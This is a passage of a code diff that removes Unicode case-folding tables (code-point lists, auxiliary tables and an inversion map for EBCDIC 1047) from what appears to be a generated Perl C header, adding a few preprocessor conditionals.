0x1FAC, - 0x1FAD, - 0x1FAE, - 0x1FAF, 0x1FB0, 0x1FB2, - 0x1FB3, - 0x1FB4, 0x1FB5, 0x1FB6, - 0x1FB7, 0x1FB8, - 0x1FBA, 0x1FBC, 0x1FBD, - 0x1FBE, - 0x1FBF, 0x1FC2, - 0x1FC3, - 0x1FC4, 0x1FC5, 0x1FC6, - 0x1FC7, 0x1FC8, 0x1FCC, 0x1FCD, 0x1FD2, - 0x1FD3, 0x1FD4, 0x1FD6, - 0x1FD7, 0x1FD8, - 0x1FDA, - 0x1FDC, 0x1FE2, - 0x1FE3, - 0x1FE4, 0x1FE5, 0x1FE6, - 0x1FE7, 0x1FE8, - 0x1FEA, - 0x1FEC, - 0x1FED, 0x1FF2, - 0x1FF3, - 0x1FF4, 0x1FF5, 0x1FF6, - 0x1FF7, 0x1FF8, - 0x1FFA, 0x1FFC, 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212B, - 0x212C, - 0x2132, - 0x2133, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C63, - 0x2C64, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C6E, - 0x2C6F, - 0x2C70, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C80, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77E, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AB, - 0xA7AC, - 0xA7AD, - 0xA7AE, - 0xA7AF, - 0xA7B0, - 0xA7B1, - 0xA7B2, - 0xA7B3, - 0xA7B4, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xAB70, - 0xABC0, 0xFB00, - 0xFB01, - 0xFB02, - 0xFB03, - 0xFB04, - 0xFB05, 0xFB07, 0xFB13, - 0xFB14, - 0xFB15, - 0xFB16, - 0xFB17, - 0xFB18, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1E900, - 0x1E922 -}; - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - CF_0 = 0, - CF_use_AUX_TABLE_1 = -1, - CF_use_AUX_TABLE_2 = -2, - CF_use_AUX_TABLE_3 = -3, - CF_use_AUX_TABLE_4 = -4, - CF_use_AUX_TABLE_5 = -5, - CF_use_AUX_TABLE_6 = -6, - CF_use_AUX_TABLE_7 = -7, - CF_use_AUX_TABLE_8 = -8, - CF_use_AUX_TABLE_9 = -9, - CF_use_AUX_TABLE_10 = -10, - CF_use_AUX_TABLE_11 = -11, - CF_use_AUX_TABLE_12 = -12, - CF_use_AUX_TABLE_13 = -13, - CF_use_AUX_TABLE_14 = -14, - CF_use_AUX_TABLE_15 = -15, - CF_use_AUX_TABLE_16 = -16, - CF_use_AUX_TABLE_17 = -17, - CF_use_AUX_TABLE_18 = -18, - CF_use_AUX_TABLE_19 = -19, - CF_use_AUX_TABLE_20 = -20, - CF_use_AUX_TABLE_21 = -21, - CF_use_AUX_TABLE_22 = -22, - CF_use_AUX_TABLE_23 = -23, - CF_use_AUX_TABLE_24 = -24, - CF_use_AUX_TABLE_25 = -25, - CF_use_AUX_TABLE_26 = -26, - CF_use_AUX_TABLE_27 = -27, - CF_use_AUX_TABLE_28 = -28, - CF_use_AUX_TABLE_29 = -29, - CF_use_AUX_TABLE_30 = -30, - CF_use_AUX_TABLE_31 = -31, - CF_use_AUX_TABLE_32 = -32, - CF_use_AUX_TABLE_33 = -33, - CF_use_AUX_TABLE_34 = -34, - CF_use_AUX_TABLE_35 = -35, - CF_use_AUX_TABLE_36 = -36, - CF_use_AUX_TABLE_37 = -37, - CF_use_AUX_TABLE_38 = -38, - CF_use_AUX_TABLE_39 = -39, - CF_use_AUX_TABLE_40 = -40, - CF_use_AUX_TABLE_41 = -41, - CF_use_AUX_TABLE_42 = -42, - CF_use_AUX_TABLE_43 = -43, - CF_use_AUX_TABLE_44 = -44, - CF_use_AUX_TABLE_45 = -45, - CF_use_AUX_TABLE_46 = -46, - CF_use_AUX_TABLE_47 = -47, - CF_use_AUX_TABLE_48 = -48, - CF_use_AUX_TABLE_49 = -49, - CF_use_AUX_TABLE_50 = -50, - CF_use_AUX_TABLE_51 = -51, - CF_use_AUX_TABLE_52 = -52, - CF_use_AUX_TABLE_53 = -53, - CF_use_AUX_TABLE_54 = -54, - CF_use_AUX_TABLE_55 = -55, - CF_use_AUX_TABLE_56 = -56, - CF_use_AUX_TABLE_57 = -57, - CF_use_AUX_TABLE_58 = -58, - CF_use_AUX_TABLE_59 = -59, - CF_use_AUX_TABLE_60 = -60, - CF_use_AUX_TABLE_61 = -61, - CF_use_AUX_TABLE_62 = -62, - CF_use_AUX_TABLE_63 = -63, - CF_use_AUX_TABLE_64 = -64, - CF_use_AUX_TABLE_65 = -65, - CF_use_AUX_TABLE_66 = -66, - CF_use_AUX_TABLE_67 = -67, - CF_use_AUX_TABLE_68 = -68, - CF_use_AUX_TABLE_69 = -69, - CF_use_AUX_TABLE_70 = -70, - CF_use_AUX_TABLE_71 = -71, - CF_use_AUX_TABLE_72 = -72, - CF_use_AUX_TABLE_73 = -73 -} CF_enum; - -#define HAS_CF_AUX_TABLES - -static const unsigned int CF_AUX_TABLE_1[] = { - 0xA2, - 0xA2 -}; - -static const unsigned int CF_AUX_TABLE_2[] = { - 0x89, - 0x307 -}; - -static const unsigned int CF_AUX_TABLE_3[] = { - 0x2BC, - 0x95 -}; - -static const unsigned int CF_AUX_TABLE_4[] = { - 0x91, - 0x30C -}; - -static const unsigned int CF_AUX_TABLE_5[] = { - 0x3B9, - 0x308, - 0x301 -}; - -static const unsigned int CF_AUX_TABLE_6[] = { - 0x3C5, - 0x308, - 0x301 -}; - -static const unsigned int CF_AUX_TABLE_7[] = { - 0x565, - 0x582 -}; - -static const unsigned int CF_AUX_TABLE_8[] = { - 0x88, - 0x331 -}; - -static const unsigned int CF_AUX_TABLE_9[] = { - 0xA3, - 0x308 -}; - -static const unsigned int CF_AUX_TABLE_10[] = { - 0xA6, - 0x30A -}; - -static const unsigned int CF_AUX_TABLE_11[] = { - 0xA8, - 0x30A -}; - -static const unsigned int CF_AUX_TABLE_12[] = { - 0x81, - 0x2BE -}; - -static const unsigned int CF_AUX_TABLE_13[] = { - 0x3C5, - 0x313 -}; - -static const unsigned int CF_AUX_TABLE_14[] = { - 0x3C5, - 0x313, - 0x300 -}; - -static const unsigned int CF_AUX_TABLE_15[] = { - 0x3C5, - 0x313, - 0x301 -}; - -static const unsigned int CF_AUX_TABLE_16[] = { - 0x3C5, - 0x313, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_17[] = { - 0x1F00, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_18[] = { - 0x1F01, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_19[] = { - 0x1F02, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_20[] = { - 0x1F03, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_21[] = { - 0x1F04, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_22[] = { - 0x1F05, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_23[] = { - 0x1F06, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_24[] = { - 0x1F07, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_25[] = { - 0x1F20, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_26[] = { - 0x1F21, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_27[] = { - 0x1F22, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_28[] = { - 0x1F23, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_29[] = { - 0x1F24, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_30[] = { - 0x1F25, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_31[] = { - 0x1F26, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_32[] = { - 0x1F27, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_33[] = { - 0x1F60, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_34[] = { - 0x1F61, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_35[] = { - 0x1F62, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_36[] = { - 0x1F63, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_37[] = { - 0x1F64, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_38[] = { - 0x1F65, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_39[] = { - 0x1F66, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_40[] = { - 0x1F67, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_41[] = { - 0x1F70, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_42[] = { - 0x3B1, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_43[] = { - 0x3AC, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_44[] = { - 0x3B1, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_45[] = { - 0x3B1, - 0x342, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_46[] = { - 0x1F74, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_47[] = { - 0x3B7, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_48[] = { - 0x3AE, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_49[] = { - 0x3B7, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_50[] = { - 0x3B7, - 0x342, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_51[] = { - 0x3B9, - 0x308, - 0x300 -}; - -static const unsigned int CF_AUX_TABLE_52[] = { - 0x3B9, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_53[] = { - 0x3B9, - 0x308, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_54[] = { - 0x3C5, - 0x308, - 0x300 -}; - -static const unsigned int CF_AUX_TABLE_55[] = { - 0x3C1, - 0x313 -}; - -static const unsigned int CF_AUX_TABLE_56[] = { - 0x3C5, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_57[] = { - 0x3C5, - 0x308, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_58[] = { - 0x1F7C, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_59[] = { - 0x3C9, - 0x3B9 + 0xFB18 }; -static const unsigned int CF_AUX_TABLE_60[] = { - 0x3CE, - 0x3B9 -}; +#endif /* defined(PERL_IN_REGCOMP_C) */ -static const unsigned int CF_AUX_TABLE_61[] = { - 0x3C9, - 0x342 -}; +#if defined(PERL_IN_PERL_C) -static const unsigned int CF_AUX_TABLE_62[] = { - 0x3C9, - 0x342, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_63[] = { - 0x86, - 0x86 -}; - -static const unsigned int CF_AUX_TABLE_64[] = { - 0x86, - 0x89 -}; - -static const unsigned int CF_AUX_TABLE_65[] = { - 0x86, - 0x93 -}; - -static const unsigned int CF_AUX_TABLE_66[] = { - 0x86, - 0x86, - 0x89 -}; - -static const unsigned int CF_AUX_TABLE_67[] = { - 0x86, - 0x86, - 0x93 -}; - -static const unsigned int CF_AUX_TABLE_68[] = { - 0xA2, - 0xA3 -}; - -static const unsigned int CF_AUX_TABLE_69[] = { - 0x574, - 0x576 -}; - -static const unsigned int CF_AUX_TABLE_70[] = { - 0x574, - 0x565 -}; - -static const unsigned int CF_AUX_TABLE_71[] = { - 0x574, - 0x56B -}; - -static const unsigned int CF_AUX_TABLE_72[] = { - 0x57E, - 0x576 -}; - -static const unsigned int CF_AUX_TABLE_73[] = { - 0x574, - 0x56D -}; - -static const unsigned int * const CF_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - CF_AUX_TABLE_1, - CF_AUX_TABLE_2, - CF_AUX_TABLE_3, - CF_AUX_TABLE_4, - CF_AUX_TABLE_5, - CF_AUX_TABLE_6, - CF_AUX_TABLE_7, - CF_AUX_TABLE_8, - CF_AUX_TABLE_9, - CF_AUX_TABLE_10, - CF_AUX_TABLE_11, - CF_AUX_TABLE_12, - CF_AUX_TABLE_13, - CF_AUX_TABLE_14, - CF_AUX_TABLE_15, - CF_AUX_TABLE_16, - CF_AUX_TABLE_17, - CF_AUX_TABLE_18, - CF_AUX_TABLE_19, - CF_AUX_TABLE_20, - CF_AUX_TABLE_21, - CF_AUX_TABLE_22, - CF_AUX_TABLE_23, - CF_AUX_TABLE_24, - CF_AUX_TABLE_25, - CF_AUX_TABLE_26, - CF_AUX_TABLE_27, - CF_AUX_TABLE_28, - CF_AUX_TABLE_29, - CF_AUX_TABLE_30, - CF_AUX_TABLE_31, - CF_AUX_TABLE_32, - CF_AUX_TABLE_33, - CF_AUX_TABLE_34, - CF_AUX_TABLE_35, - CF_AUX_TABLE_36, - CF_AUX_TABLE_37, - CF_AUX_TABLE_38, - CF_AUX_TABLE_39, - CF_AUX_TABLE_40, - CF_AUX_TABLE_41, - CF_AUX_TABLE_42, - CF_AUX_TABLE_43, - CF_AUX_TABLE_44, - CF_AUX_TABLE_45, - CF_AUX_TABLE_46, - CF_AUX_TABLE_47, - CF_AUX_TABLE_48, - CF_AUX_TABLE_49, - CF_AUX_TABLE_50, - CF_AUX_TABLE_51, - CF_AUX_TABLE_52, - CF_AUX_TABLE_53, - CF_AUX_TABLE_54, - CF_AUX_TABLE_55, - CF_AUX_TABLE_56, - CF_AUX_TABLE_57, - CF_AUX_TABLE_58, - CF_AUX_TABLE_59, - CF_AUX_TABLE_60, - CF_AUX_TABLE_61, - CF_AUX_TABLE_62, - CF_AUX_TABLE_63, - CF_AUX_TABLE_64, - CF_AUX_TABLE_65, - CF_AUX_TABLE_66, - CF_AUX_TABLE_67, - CF_AUX_TABLE_68, - CF_AUX_TABLE_69, - CF_AUX_TABLE_70, - CF_AUX_TABLE_71, - CF_AUX_TABLE_72, - CF_AUX_TABLE_73 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 CF_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* CF_AUX_TABLE_1 */, - 2 /* CF_AUX_TABLE_2 */, - 2 /* CF_AUX_TABLE_3 */, - 2 /* CF_AUX_TABLE_4 */, - 3 /* CF_AUX_TABLE_5 */, - 3 /* CF_AUX_TABLE_6 */, - 2 /* CF_AUX_TABLE_7 */, - 2 /* CF_AUX_TABLE_8 */, - 2 /* CF_AUX_TABLE_9 */, - 2 /* CF_AUX_TABLE_10 */, - 2 /* CF_AUX_TABLE_11 */, - 2 /* CF_AUX_TABLE_12 */, - 2 /* CF_AUX_TABLE_13 */, - 3 /* CF_AUX_TABLE_14 */, - 3 /* CF_AUX_TABLE_15 */, - 3 /* CF_AUX_TABLE_16 */, - 2 /* CF_AUX_TABLE_17 */, - 2 /* CF_AUX_TABLE_18 */, - 2 /* CF_AUX_TABLE_19 */, - 2 /* CF_AUX_TABLE_20 */, - 2 /* CF_AUX_TABLE_21 */, - 2 /* CF_AUX_TABLE_22 */, - 2 /* CF_AUX_TABLE_23 */, - 2 /* CF_AUX_TABLE_24 */, - 2 /* CF_AUX_TABLE_25 */, - 2 /* CF_AUX_TABLE_26 */, - 2 /* CF_AUX_TABLE_27 */, - 2 /* CF_AUX_TABLE_28 */, - 2 /* CF_AUX_TABLE_29 */, - 2 /* CF_AUX_TABLE_30 */, - 2 /* CF_AUX_TABLE_31 */, - 2 /* CF_AUX_TABLE_32 */, - 2 /* CF_AUX_TABLE_33 */, - 2 /* CF_AUX_TABLE_34 */, - 2 /* CF_AUX_TABLE_35 */, - 2 /* CF_AUX_TABLE_36 */, - 2 /* CF_AUX_TABLE_37 */, - 2 /* CF_AUX_TABLE_38 */, - 2 /* CF_AUX_TABLE_39 */, - 2 /* CF_AUX_TABLE_40 */, - 2 /* CF_AUX_TABLE_41 */, - 2 /* CF_AUX_TABLE_42 */, - 2 /* CF_AUX_TABLE_43 */, - 2 /* CF_AUX_TABLE_44 */, - 3 /* CF_AUX_TABLE_45 */, - 2 /* CF_AUX_TABLE_46 */, - 2 /* CF_AUX_TABLE_47 */, - 2 /* CF_AUX_TABLE_48 */, - 2 /* CF_AUX_TABLE_49 */, - 3 /* CF_AUX_TABLE_50 */, - 3 /* CF_AUX_TABLE_51 */, - 2 /* CF_AUX_TABLE_52 */, - 3 /* CF_AUX_TABLE_53 */, - 3 /* CF_AUX_TABLE_54 */, - 2 /* CF_AUX_TABLE_55 */, - 2 /* CF_AUX_TABLE_56 */, - 3 /* CF_AUX_TABLE_57 */, - 2 /* CF_AUX_TABLE_58 */, - 2 /* CF_AUX_TABLE_59 */, - 2 /* CF_AUX_TABLE_60 */, - 2 /* CF_AUX_TABLE_61 */, - 3 /* CF_AUX_TABLE_62 */, - 2 /* CF_AUX_TABLE_63 */, - 2 /* CF_AUX_TABLE_64 */, - 2 /* CF_AUX_TABLE_65 */, - 3 /* CF_AUX_TABLE_66 */, - 3 /* CF_AUX_TABLE_67 */, - 2 /* CF_AUX_TABLE_68 */, - 2 /* CF_AUX_TABLE_69 */, - 2 /* CF_AUX_TABLE_70 */, - 2 /* CF_AUX_TABLE_71 */, - 2 /* CF_AUX_TABLE_72 */, - 2 /* CF_AUX_TABLE_73 */ -}; - -static const int Case_Folding_invmap[] = { /* for EBCDIC 1047 */ - 0, - CF_use_AUX_TABLE_1, - 0, - 0x42, - 0, - 0x51, - 0, - 0x70, - 0, - 0x9C, - 0, - 0x3BC, - 0, - 0x8C, - 0, - 0x8E, - 0, - 0x8D, - 0, - 0x81, - 0, - 0x91, - 0, - 0xA2, - 0, - 0xCB, - 0, - 0xDB, - 0, - 0x101, - 0, - 0x103, - 0, - 0x105, - 0, - 0x107, - 0, - 0x109, - 0, - 0x10B, - 0, - 0x10D, - 0, - 0x10F, - 0, - 0x111, - 0, - 0x113, - 0, - 0x115, - 0, - 0x117, - 0, - 0x119, - 0, - 0x11B, - 0, - 0x11D, - 0, - 0x11F, - 0, - 0x121, - 0, - 0x123, - 0, - 0x125, - 0, - 0x127, - 0, - 0x129, - 0, - 0x12B, - 0, - 0x12D, - 0, - 0x12F, - 0, - CF_use_AUX_TABLE_2, - 0, - 0x133, - 0, - 0x135, - 0, - 0x137, - 0, - 0x13A, - 0, - 0x13C, - 0, - 0x13E, - 0, - 0x140, - 0, - 0x142, - 0, - 0x144, - 0, - 0x146, - 0, - 0x148, - 0, - CF_use_AUX_TABLE_3, - 0x14B, - 0, - 0x14D, - 0, - 0x14F, - 0, - 0x151, - 0, - 0x153, - 0, - 0x155, - 0, - 0x157, - 0, - 0x159, - 0, - 0x15B, - 0, - 0x15D, - 0, - 0x15F, - 0, - 0x161, - 0, - 0x163, - 0, - 0x165, - 0, - 0x167, - 0, - 0x169, - 0, - 0x16B, - 0, - 0x16D, - 0, - 0x16F, - 0, - 0x171, - 0, - 0x173, - 0, - 0x175, - 0, - 0x177, - 0, - 0xDF, - 0x17A, - 0, - 0x17C, - 0, - 0x17E, - 0, - 0xA2, - 0, - 0x253, - 0x183, - 0, - 0x185, - 0, - 0x254, - 0x188, - 0, - 0x256, - 0x18C, - 0, - 0x1DD, - 0x259, - 0x25B, - 0x192, - 0, - 0x260, - 0x263, - 0, - 0x269, - 0x268, - 0x199, - 0, - 0x26F, - 0x272, - 0, - 0x275, - 0x1A1, - 0, - 0x1A3, - 0, - 0x1A5, - 0, - 0x280, - 0x1A8, - 0, - 0x283, - 0, - 0x1AD, - 0, - 0x288, - 0x1B0, - 0, - 0x28A, - 0x1B4, - 0, - 0x1B6, - 0, - 0x292, - 0x1B9, - 0, - 0x1BD, - 0, - 0x1C6, - 0x1C6, - 0, - 0x1C9, - 0x1C9, - 0, - 0x1CC, - 0x1CC, - 0, - 0x1CE, - 0, - 0x1D0, - 0, - 0x1D2, - 0, - 0x1D4, - 0, - 0x1D6, - 0, - 0x1D8, - 0, - 0x1DA, - 0, - 0x1DC, - 0, - 0x1DF, - 0, - 0x1E1, - 0, - 0x1E3, - 0, - 0x1E5, - 0, - 0x1E7, - 0, - 0x1E9, - 0, - 0x1EB, - 0, - 0x1ED, - 0, - 0x1EF, - 0, - CF_use_AUX_TABLE_4, - 0x1F3, - 0x1F3, - 0, - 0x1F5, - 0, - 0x195, - 0x1BF, - 0x1F9, - 0, - 0x1FB, - 0, - 0x1FD, - 0, - 0x1FF, - 0, - 0x201, - 0, - 0x203, - 0, - 0x205, - 0, - 0x207, - 0, - 0x209, - 0, - 0x20B, - 0, - 0x20D, - 0, - 0x20F, - 0, - 0x211, - 0, - 0x213, - 0, - 0x215, - 0, - 0x217, - 0, - 0x219, - 0, - 0x21B, - 0, - 0x21D, - 0, - 0x21F, - 0, - 0x19E, - 0, - 0x223, - 0, - 0x225, - 0, - 0x227, - 0, - 0x229, - 0, - 0x22B, - 0, - 0x22D, - 0, - 0x22F, - 0, - 0x231, - 0, - 0x233, - 0, - 0x2C65, - 0x23C, - 0, - 0x19A, - 0x2C66, - 0, - 0x242, - 0, - 0x180, - 0x289, - 0x28C, - 0x247, - 0, - 0x249, - 0, - 0x24B, - 0, - 0x24D, - 0, - 0x24F, - 0, - 0x3B9, - 0, - 0x371, - 0, - 0x373, - 0, - 0x377, - 0, - 0x3F3, - 0, - 0x3AC, - 0, - 0x3AD, - 0, - 0x3CC, - 0, - 0x3CD, - CF_use_AUX_TABLE_5, - 0x3B1, - 0, - 0x3C3, - 0, - CF_use_AUX_TABLE_6, - 0, - 0x3C3, - 0, - 0x3D7, - 0x3B2, - 0x3B8, - 0, - 0x3C6, - 0x3C0, - 0, - 0x3D9, - 0, - 0x3DB, - 0, - 0x3DD, - 0, - 0x3DF, - 0, - 0x3E1, - 0, - 0x3E3, - 0, - 0x3E5, - 0, - 0x3E7, - 0, - 0x3E9, - 0, - 0x3EB, - 0, - 0x3ED, - 0, - 0x3EF, - 0, - 0x3BA, - 0x3C1, - 0, - 0x3B8, - 0x3B5, - 0, - 0x3F8, - 0, - 0x3F2, - 0x3FB, - 0, - 0x37B, - 0x450, - 0x430, - 0, - 0x461, - 0, - 0x463, - 0, - 0x465, - 0, - 0x467, - 0, - 0x469, - 0, - 0x46B, - 0, - 0x46D, - 0, - 0x46F, - 0, - 0x471, - 0, - 0x473, - 0, - 0x475, - 0, - 0x477, - 0, - 0x479, - 0, - 0x47B, - 0, - 0x47D, - 0, - 0x47F, - 0, - 0x481, - 0, - 0x48B, - 0, - 0x48D, - 0, - 0x48F, - 0, - 0x491, - 0, - 0x493, - 0, - 0x495, - 0, - 0x497, - 0, - 0x499, - 0, - 0x49B, - 0, - 0x49D, - 0, - 0x49F, - 0, - 0x4A1, - 0, - 0x4A3, - 0, - 0x4A5, - 0, - 0x4A7, - 0, - 0x4A9, - 0, - 0x4AB, - 0, - 0x4AD, - 0, - 0x4AF, - 0, - 0x4B1, - 0, - 0x4B3, - 0, - 0x4B5, - 0, - 0x4B7, - 0, - 0x4B9, - 0, - 0x4BB, - 0, - 0x4BD, - 0, - 0x4BF, - 0, - 0x4CF, - 0x4C2, - 0, - 0x4C4, - 0, - 0x4C6, - 0, - 0x4C8, - 0, - 0x4CA, - 0, - 0x4CC, - 0, - 0x4CE, - 0, - 0x4D1, - 0, - 0x4D3, - 0, - 0x4D5, - 0, - 0x4D7, - 0, - 0x4D9, - 0, - 0x4DB, - 0, - 0x4DD, - 0, - 0x4DF, - 0, - 0x4E1, - 0, - 0x4E3, - 0, - 0x4E5, - 0, - 0x4E7, - 0, - 0x4E9, - 0, - 0x4EB, - 0, - 0x4ED, - 0, - 0x4EF, - 0, - 0x4F1, - 0, - 0x4F3, - 0, - 0x4F5, - 0, - 0x4F7, - 0, - 0x4F9, - 0, - 0x4FB, - 0, - 0x4FD, - 0, - 0x4FF, - 0, - 0x501, - 0, - 0x503, - 0, - 0x505, - 0, - 0x507, - 0, - 0x509, - 0, - 0x50B, - 0, - 0x50D, - 0, - 0x50F, - 0, - 0x511, - 0, - 0x513, - 0, - 0x515, - 0, - 0x517, - 0, - 0x519, - 0, - 0x51B, - 0, - 0x51D, - 0, - 0x51F, - 0, - 0x521, - 0, - 0x523, - 0, - 0x525, - 0, - 0x527, - 0, - 0x529, - 0, - 0x52B, - 0, - 0x52D, - 0, - 0x52F, - 0, - 0x561, - 0, - CF_use_AUX_TABLE_7, - 0, - 0x2D00, - 0, - 0x2D27, - 0, - 0x2D2D, - 0, - 0x13F0, - 0, - 0x432, - 0x434, - 0x43E, - 0x441, - 0x442, - 0x44A, - 0x463, - 0xA64B, - 0, - 0x1E01, - 0, - 0x1E03, - 0, - 0x1E05, - 0, - 0x1E07, - 0, - 0x1E09, - 0, - 0x1E0B, - 0, - 